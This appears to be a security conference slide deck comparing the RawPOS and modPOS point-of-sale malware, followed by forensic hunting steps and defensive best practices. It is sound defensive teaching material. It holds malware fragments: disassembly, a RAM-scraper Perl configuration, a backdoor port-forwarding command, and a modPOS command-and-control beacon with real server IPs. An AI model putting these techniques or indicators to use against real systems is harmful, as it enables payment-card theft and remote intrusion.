Case Study: modPOS vs RawPOS
A Nerds Eyes View of Two Malware Frameworks

Brandon A. Nesbit
Ron Dormido
Agenda
Agenda

- Overview of payment card data breaches
- RawPOS and ModPOS: Compare and Contrast
- RawPOS and ModPOS artifacts
- Forensic Analysis of POS Malware
- Best practices on securing the environment
Point of Sales (POS) Environments

A High Level Overview
Point of Sale (POS)

The what and the why

point of sale

noun

the place at which goods are retailed.
"refunds will be provided at the point of sale"

- Found in Hotels, Casinos, Restaurants, Retail
- Payment methods: cash, credit, debit, phone, et al
- Not always properly secured
Point of Sale (POS)

Which one is more vulnerable?
Track Data vs EMV

Let’s go behind the scenes. The magnetic stripe on the back of a traditional credit card only holds the same information that appears on the card itself.

When a chip card is used, the chip not only relays information that’s currently held statically in the magnetic-stripe, but it also generates a unique one-time code for each transaction.

When the same chip card is used at another location, a new unique code is generated. This feature is virtually impossible to replicate in counterfeit cards.

https://wahospitality.org/blog/the-nitty-gritty-on-emv-vs-magnetic-stripe/
POS – A Lucrative Target

“Threat actors targeted payment card data in the majority of incidents, with card-track (magnetic stripe) data making up nearly 23 percent of incidents”

Source: 2018 Trustwave Global Security Report
POS – A Lucrative Target

Source: 2017 Trustwave Value of Data Report
POS – A Lucrative Target
POS – A Lucrative Target

The latest Verizon Payment Security Report finds that while overall compliance with PCI DSS is improving, gaps still remain.

Player 1: RawPOS

Stats and Abilities
RawPOS Background

Ancient, Simple and Effective

- An older framework, been around since at least 2008
- Many different iterations
- Flexible and effective
- Developed in Borland C++ and Perl
- Eastern European/Russian Origins
RawPOS Components

Cerberus of Malware

- msdtv.exe
- dxfs32.dll
- sstpsvc.exe
- cardholder data (CDH)
- tskman.exe

memory dump

persistence hooks
RawPOS Stat Sheet

Chaotic Evil, -3 Constitution

Strength
Dexterity
Constitution
Intelligence
Wisdom
Charisma
RawPOS Stat Sheet

Properly Aligned
RawPOS Components

Persistence, tskman.exe

- Used to create service using native Windows functions
- Only persistence mechanism

```
arg_6 = dword ptr 8
arg_4 = dword ptr 0Ch

push ebp
mov ebp, esp
push offset HandlerProc ;
push offset ServiceName ;
call RegisterServiceCtrlHandlerA
mov hServiceStatus, eax
cmp hServiceStatus, 0
jz short loc_40128F
```

```
ebx, [ebp+arg_0]
esi, [ebp+arg_4]
offset aWindowsAdvan_0 ; "Windows Advanced Task Manager"
offset aDebugging$ ; "Debugging %s\n"
_printf
esp, 8
1 ; Add
offset HandlerRoutine ; HandlerRoutine
SetConsoleCtrlHandler
```

<table>
<thead>
<tr>
<th>Service name:</th>
<th>tskman</th>
</tr>
</thead>
</table>

| Display name: | Windows Advanced Task Manager |

| Description: | Provides Windows advanced task management components. If this service is disabled, any services |
RawPOS Components

RAM Scraper, sstpsvc.exe

- Targets processes, uses RegEx
- Creates temporary output files in plaintext
RawPOS Components

The Brains, msdtv.exe

- Requires sstpsvc.exe & tskman.exe
- Manages output; dedupes, encrypts
- Perl2Exe binary

```perl
no warnings 'threads';
my $password = "anonymousgroup";
my $dir="memdump";
my $logfile="dxfs32.dll";
my $command = "sstpsvc.exe";
my $commandruntimelimit = "60";
my $commandrestarttime = 15;
my $commandstarttime = 0;
require "D:\\Secure\\Tools\\Include\\times.pm";

use vars "$dbh", "$url start", "$dir start",
'@file_type_exclude',"$version","$regex","$maxlivetime","$debug","@file_name
 _include","$dietime", '@tracks',"%in_tracks";
use vars "%times","%atimes";
$version="Version 1.3 MultiThread from 25.03.2008";
#$regex = '([(0-9){15,19}|(0{1-9})(0[1-9]|1[0-2])\{0-9\}\{8,20\})';
#$maxlivetime = 86400*30*6; # последнее обновление файла, примерно пол года
$debug = 'off';
```
RawPOS Bonus Ability

Backdoor, se.exe

- Sort of like a proxy/netcat
- Binds local port to remote port for remote access

```
c:\malware>se.exe 127.0.0.1 3389 192.168.142.128 3389
Connecting to local side (127.0.0.1:3389)... OK.
Connecting to remote side... OK
```

```
push    dword ptr [ebx+4]
push    offset format        ; "Connecting to local side (%s:%i)...
call    _printf
add     esp, 8Ch
push    0                   ; protocol
push    1                   ; type
push    2                   ; af
call    socket
mov     edi, eax
mov     [ebp+name.sa_family], 2
```
RawPOS Drawbacks

Weak to +INT

- Easily analyzed, detected
- Captured data easily decoded
- Malware pushed via PsExec, batch scripts
- Additional tools required
  - Network scanning, other footprinting tools
Player 2: modPOS

Stats and Abilities
modPOS Background
You notice a cloaked figure surrounded by darkness in the back of the tavern…

- Earliest intel dates this to 2015
- Touted as “most sophisticated POS malware” by iSIGHT
- Modular rootkit, hence the name
- Sample analyzed by Kroll has been previously unseen
modPOS Background

At a Glance

- Malware Dropper (gi.dll)
  - The first step of the attack is to execute the dropper on a compromised host. This is done either locally or across the network.

- Payload (random_name.sys)
  - The installed payload manages most of the functionality of the malware. All activities from user-mode injection, data capture, and C&C communication. Once injection is complete, the driver is unloaded and cannot be restarted using native Windows commands.

- Command Control Serviers
  - Each infected system is uniquely identified and the attacker can control each system remotely.
modPOS Stat Sheet

Lawful Evil, +2 DEX

Hostility
Stealth
Persistence
Sophistication
Effectiveness
Ease of Use

modPOS Stats
**modPOS Components**

**Anti-Analysis Trickery**

- Employs multiple “traps” to thwart analysis
- Custom packer, time tracking, looking for debuggers
modPOS Components

The Pusher

- Kroll analysts recovered archive containing a funky DLL
- Doesn’t execute normally
- Needed a bit of trickery to execute
modPOS Components

Payload Delivery

- Local Install
  - Malicious payload is hidden better; the time stamp is modified to look like it was installed as part of the system.
  - Malicious payload metadata description is “Toaster Bus Enumerator” with an internal name of busenum.sys
  - There is no readily available information in the service control panel.
  - More of a proper rootkit

- Remote Install
  - There is no time stamp modification on the malicious payload.
  - Driver file details remain the same, the service details are accessible from the Windows service control panel.
    - The service name is “Microsoft <random name> Support”
modPOS Components

Payload Delivery, local

```
sub_10001F80 proc near
arg_0= dword ptr 4
arg_4= dword ptr 8
arg_8= dword ptr 0Ch
arg_C= dword ptr 10h

push ebx
push esi
mov esi, ds:VirtualAlloc
push edi
push 4          ; f1Protect
push 1000h      ; f1AllocationType
push 1000h      ; dwSize
push 0          ; lpAddress
call esi; VirtualAlloc
mov edi, [esp+0Ch+arg_8]
test eax, eax
mov [edi], eax
jz short loc_10001FB0
```

![Image of code and software interface]
modPOS Components

Payload Delivery, remote
modPOS Components

Payload Delivery, Finishing Move
modPOS Minion

The Payload

- Looks like a Windows Driver
  - File Name: <random name>.sys
  - File Path: C:\WINDOWS\system32\drivers\<random name>.sys
  - File Size: 44800 bytes

- Malicious Code injected into explorer.exe
  - Writing output files to C:\Windows\Installer\{GUID}\.\<random string>
  - Phoning home to all three command and control servers upon reboot
  - Looking for instances of browsers to inject code for exfiltration

```
POST /robots.txt HTTP/1.1
Accept: */*
Content-Length: 32
Content-Type: application/octet-stream

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: 62.113.214.125
Cache-Control: no-cache

GET 0 0 0 0 0 0 0
```

```
188.127.249.70 62.113.214.125:5.61.46.100
explod 0000000000000000 0000000000000000 0 GetAsyncKeyState
0x00050000 0x00950010 0x00950028 0x00950030
```

Kroll
modPOS Weak Point

Negative Resistance to...

- Modern Windows Operating Systems
  - Fails on x64 Systems and Windows 8+
  - KiFastSystemCall is deprecated
4 Forensic Analysis of POS Malware

Tips for Malware Hunting
Forensic Analysis of POS Malware

If it bleeds, we can kill it!
Forensic Analysis of POS Malware

**Malware Quest**

**Ron-Dor**

**Skills**

<table>
<thead>
<tr>
<th>Strength</th>
<th>4</th>
<th>+1</th>
<th>+2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dexterity</td>
<td>6</td>
<td>+1</td>
<td>+2</td>
</tr>
<tr>
<td>Constitution</td>
<td>8</td>
<td>+1</td>
<td>+2</td>
</tr>
<tr>
<td>Intelligence</td>
<td>6</td>
<td>+1</td>
<td>+2</td>
</tr>
<tr>
<td>Knowledge: Intelligence</td>
<td>+3</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Wisdom</td>
<td>10</td>
<td>+1</td>
<td>+2</td>
</tr>
<tr>
<td>Divine: Wisdom</td>
<td>+1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Survival: Wisdom</td>
<td>+2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Charisma</td>
<td>8</td>
<td>+1</td>
<td>+2</td>
</tr>
</tbody>
</table>

**Powers**

**Hand Size**

5

Proficient With:

- Light Armors
- Weapons

When you play an ally with the Animal trait, you may recharge it instead of discarding it.

You may reveal an ally with the Animal trait to add 1d4 (+1) (+2) to your check.

You may discard a card to roll d10 instead of your Strength or Dexterity die for any check.
ONE DOES NOT SIMPLY FIND MALWARE BY PUSHING A #@!%^& BUTTON!
Forensic Analysis of POS Malware

- Timeline Analysis – Suspicious file creation
- Program Execution – Prefetch, Shimcache
- Service Creation – Registry, Event Logs
- Persistence Mechanisms – Registry
RawPOS Artifacts

- msdtv.exe, sstpsvc.exe and tskman.exe
- C:\WINDOWS\dver
- C:\%users%\Local Settings\Temp\p2xtmp-#
- Tskman.exe service registry artifact
- Track data in unallocated space
ModPOS Artifacts

- C:\Windows\system32\drivers\<random name>.sys
- C:\Documents and Settings\<user>\Application Data\Windows\{GUID}\explorer.exe
- Service registry artifacts
- C:\Windows\Installer\{GUID}\*.bin
Forensic Analysis - Timelines

`fls -m C: -f ntfs -r /PATH/winxp_p01.E01 > /PATH/bodyfile`

`perl bodyfile.pl -f /PATH/bodyfile -s SYSTEM01 > /PATH/tmp_tln.txt`

`perl regtime.pl -r /PATH/system -m HKLM/System -s SYSTEM01 >> /PATH/tmp_tln.txt`

`perl regtime.pl -r /PATH/software -m HKLM/Software -s SYSTEM01 >> /PATH/tmp_tln.txt`

`perl parse.pl -f /PATH/tmp_tln.txt -c > /PATH/timeline_system01.csv`

https://www.sleuthkit.org/sleuthkit
https://github.com/keydet89/Tools
## Forensic Analysis - Timelines

<table>
<thead>
<tr>
<th>Event Date Time [UTC]</th>
<th>Hostname</th>
<th>UserID [Domain\user]</th>
<th>Event Type</th>
<th>Event Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>11-20 12:41:57</td>
<td></td>
<td>Registry:Modified</td>
<td>Display Name: Microsoft Rutmeh Support</td>
<td>Image path: support system32\drivers\Rutmeh.sys</td>
</tr>
<tr>
<td>11-20 12:41:57</td>
<td></td>
<td>Filesystem:MACB</td>
<td>C:/WINNDS/Installer/[52E37AF1-B6DC-F70F-4468-860A934CF804]/821b40fe5a2a9a95d5d9</td>
<td></td>
</tr>
<tr>
<td>11-20 15:20:05</td>
<td></td>
<td>Filesystem:MACB</td>
<td>C:/WINNDS/Installer/[06791F20-4F2D-83D8-E1FB-44190EF2B3BF]/1.bin</td>
<td></td>
</tr>
<tr>
<td>11-21 15:52:53</td>
<td></td>
<td>Filesystem:MB</td>
<td>WINDOWS\system32\drivers\Kbfqim.sys</td>
<td></td>
</tr>
<tr>
<td>11-21 15:52:54</td>
<td></td>
<td>Registry:Modified</td>
<td>HKLM\System\ControlSet001\Services\Kbfqim\Security</td>
<td></td>
</tr>
<tr>
<td>11-21 15:52:56</td>
<td></td>
<td>Filesystem:MB</td>
<td>WINDOWS\installer[92F306F9-B095-F684-85E1-D46A5F7A7DA9]\31666eb0223699b2a</td>
<td></td>
</tr>
<tr>
<td>11-24 10:55:04</td>
<td></td>
<td>Filesystem:Born</td>
<td>C:/WINNDS/system32\drivers\dsjmbx.sys</td>
<td></td>
</tr>
<tr>
<td>11-24 10:55:10</td>
<td></td>
<td>Registry:Modified</td>
<td>Display Name: Microsoft dsjmbx support</td>
<td>Image path: system32\drivers\dsjmbx.sys</td>
</tr>
<tr>
<td>11-24 10:55:10</td>
<td></td>
<td>Filesystem:MB</td>
<td>C:/WINNDS/Installer/[C4FC7D92-F703-64C6-B1A3-BF728385D7BD]/59c198bc8ec4c9f8c</td>
<td></td>
</tr>
<tr>
<td>11-24 10:55:15</td>
<td></td>
<td>Filesystem:Born</td>
<td>C:/WINNDS/Temp/5f332bc3fc5466a.temp</td>
<td></td>
</tr>
<tr>
<td>11-24 11:55:25</td>
<td></td>
<td>Filesystem:MB</td>
<td>C:/WINNDS/Temp/5f332bc3.bin</td>
<td></td>
</tr>
<tr>
<td>11-25 13:01:39</td>
<td></td>
<td>Filesystem:Born</td>
<td>C:/WINNDS/system32\drivers\Zpcoqbb.sys</td>
<td></td>
</tr>
<tr>
<td>11-25 13:01:45</td>
<td></td>
<td>Registry:Modified</td>
<td>Display Name: Microsoft Zpcoqbb support</td>
<td>Image path: system32\drivers\Zpcoqbb.sys</td>
</tr>
<tr>
<td>11-25 13:01:45</td>
<td></td>
<td>Filesystem:Born</td>
<td>C:/WINNDS/Installer/[5C9B7DA6-F59B-1A46-C678-488141C2C293]/98b7fa1d3596719255</td>
<td></td>
</tr>
<tr>
<td>01-31 11:03:50</td>
<td></td>
<td>Filesystem:Born</td>
<td>C:/WINNDS/system32\drivers\Kynux.sys</td>
<td></td>
</tr>
<tr>
<td>01-31 11:03:58</td>
<td></td>
<td>Registry:Modified</td>
<td>HKLM\System\ControlSet001\Services\Kynux\Security</td>
<td></td>
</tr>
<tr>
<td>01-31 12:04:17</td>
<td></td>
<td>Filesystem:Born</td>
<td>C:/WINNDS/Temp/5f332bc3.bin</td>
<td></td>
</tr>
<tr>
<td>01-31 11:64:02</td>
<td></td>
<td>Filesystem:MACB</td>
<td>C:/WINNDS/Installer/[73741184-41A5-68DF-9521-0C1242D98D3A]/321271bd0b659dd0577</td>
<td></td>
</tr>
</tbody>
</table>
Forensic Analysis – Event Clusters

perl cluester.pl /PATH/bodyfile > /PATH/cluester01.txt

http://www.hexacorn.com/blog/category/software-releases/cluester/
## Forensic Analysis - ShimCache

`python ShimCacheParser.py -i /PATH/system -o /PATH/shimcache_system01.csv`

<table>
<thead>
<tr>
<th>Last Modified</th>
<th>Last Update</th>
<th>Path</th>
<th>File Size</th>
<th>Exec Flag</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/25/2008 18:17</td>
<td>N/A</td>
<td>C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe</td>
<td>32768</td>
<td>TRUE</td>
</tr>
<tr>
<td>7/25/2008 18:17</td>
<td>N/A</td>
<td>C:\Windows\Microsoft.NET\Framework\v2.0.50727\reglibv12.exe</td>
<td>61952</td>
<td>TRUE</td>
</tr>
<tr>
<td>7/30/2008 2:16</td>
<td>N/A</td>
<td>C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ServiceModelReg.exe</td>
<td>156688</td>
<td>TRUE</td>
</tr>
<tr>
<td>7/30/2008 4:10</td>
<td>N/A</td>
<td>C:\Windows\Microsoft.NET\Framework\v3.0\WPFPresentationFontCache.exe</td>
<td>46104</td>
<td>TRUE</td>
</tr>
<tr>
<td>7/30/2008 6:40</td>
<td>N/A</td>
<td>C:\Windows\Microsoft.NET\Framework\v3.0\WFServicesReg.exe</td>
<td>196104</td>
<td>TRUE</td>
</tr>
<tr>
<td>10/14/2016 12:31</td>
<td>N/A</td>
<td>C:\Windows\PSEXESVC.exe</td>
<td>189792</td>
<td>TRUE</td>
</tr>
<tr>
<td>10/10/2003 23:51</td>
<td>N/A</td>
<td>C:\Windows\Rar.exe</td>
<td>302080</td>
<td>TRUE</td>
</tr>
<tr>
<td>7/14/2003 16:18</td>
<td>N/A</td>
<td>C:\Windows\delete.exe</td>
<td>166712</td>
<td>TRUE</td>
</tr>
<tr>
<td>10/13/2016 18:16</td>
<td>N/A</td>
<td>C:\Windows\se.exe</td>
<td>54784</td>
<td>TRUE</td>
</tr>
<tr>
<td>2/10/2003 22:04</td>
<td>N/A</td>
<td>C:\Windows\wce32.exe</td>
<td>748544</td>
<td>TRUE</td>
</tr>
<tr>
<td>9/3/2010 2:34</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\052e5fa83da8281e8a86bb1d6da057cd\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>12/6/2014 3:30</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\0504232c6b1860a444c570be00d19e0\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>3/26/2014 17:29</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\0a427256c11fc07fb02f6a279e26024\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>5/16/2014 3:14</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\0a6c709319a94012383b34717aef73d3\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>10/25/2014 2:12</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\0b1885b067c59b3fc971aafae0ad8f8\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>6/7/2015 4:35</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\0b6c8c0d7e254b73bdef1577251f7c395\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>12/8/2014 21:41</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\1d7205f16d9fdec833259acbf8f07e0f8\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>10/13/2013 5:39</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\1c6fad311be5058e2d32b9f6b7e7445\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>6/18/2015 6:08</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\1cac683b88079b8c21d33df807c689c\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
<tr>
<td>3/17/2015 7:48</td>
<td>N/A</td>
<td>C:\Windows\SoftwareDistribution\Download\1cc179de5e64e6933c86e3300f3a0f0a8\update\update.exe</td>
<td>743216</td>
<td>TRUE</td>
</tr>
</tbody>
</table>

[https://github.com/mandiant/ShimCacheParser](https://github.com/mandiant/ShimCacheParser)
POS Environment Security Best Practices

- End Point Detection and Response
- Network segmentation
- Keep Windows Up to Date
- Patch your systems
- Implement multi-factor authentication
- Use file integrity monitoring
- Logging, lots of logging
- Get regular vulnerability scans and pen tests
- Develop an IR plan (and practice it!)
- Achieve and maintain PCI compliance
QUESTIONS?